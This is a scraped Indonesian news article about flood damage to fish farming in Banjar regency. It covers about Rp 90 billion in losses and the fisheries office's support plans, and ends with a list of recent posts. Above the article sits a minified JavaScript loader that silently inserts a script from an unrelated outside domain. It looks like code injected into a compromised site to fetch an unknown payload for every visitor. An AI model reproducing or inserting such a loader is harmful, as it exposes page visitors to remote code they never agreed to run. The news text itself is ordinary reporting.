(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Kerugian Sektor Perikanan Banjar Capai Rp 90 Miliar, Dinas Perikanan Akan Bantu Akses Modal


KANALKALIMANTAN.COM, MARTAPURA – Banjir besar yang terjadi beberapa pekan lalu di Kabupaten Banjar berdampak besar pada sektor perikanan. Banyaknya keramba ikan milik warga yang hanyut terbawa arus sungai, menyebabkan kerugian tak sedikit.

Kepala Dinas Perikanan Banjar, Rizal Dauly mengatakan, ada sebanyak 12 Kecamatan di Kabupaten Banjar terdampak banjir.

“Total Kecamatan yang terdampak ada 12 Kecamatan yakni, Kecamatan Aranio, Karang Intan, Martapura Barat, Martapura Timur, Cintapuri Darusalam, Astambul, Mataraman, Beruntung Baru, Gambut, Aluh Aluh, dan Sungai Tabuk,” ucap Riza saat ditemui Kanalkalimantan.com, di ruang kerjanya, Selasa (2/2/2021)

Dia juga menjelaskan, berdasarkan data sekunder kami total kerugian yang dialami warga pembudidaya ikan sekitar Rp 90,198 miliar.

Ia mengatakan, jumlah pembudidaya ikan yang terdampak dibagi tiga kategori. Yakni pembudidaya kolam ikan yang terdampak dengan total luas kolam sekitar 350 hektare.

Disusul Keramba dan Jaring Apung, kurang lebih 445 pembudidaya ikan yang ada di aliran sungai Riam Manan, Martapura, Desa Awang Bangkal, Sungai Alang, Sungai Asam dan yang sebagainya. Dengan total jumlah unit Keramba ikan yang terdampak sekitar 1.958 unit keramba.

“Ini menjadi salah satu terparah atau bencana cukup besar bagi kami di sektor Perikanan karena ini berulang dari pengalaman beberapa waktu lalu yaitu di tahun 2006, yang juga sama tersapu oleh banjir,” jelasnya.

Nanti Dinas Perikanan akan memberikan bantuan berupa akses permodalan supaya kembali dapat berbudidaya ikan.

“Rehabilitasi secara struktural nanti ada kewajiban dari pemerintah, dan ini harapan kami bisa berkolaborasi bersama pemerintah pusat, provinsi sampai daerah kemudian kolaborasi antara SKPD yang terkait,” katanya.

Langkah yang dilakukan di antaranya adalah pemberian indukan ikan, benih ikan, di sektor pembesaran, kemudian pakan ikan. Pakan ikan ini adalah komponen paling besar dalam berusahan di sektor perikanan. (Kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Cell

 

 

 


Al Ghifari

Recent Posts

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

11 menit ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

31 menit ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

3 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

3 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

6 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

8 jam ago

This website uses cookies.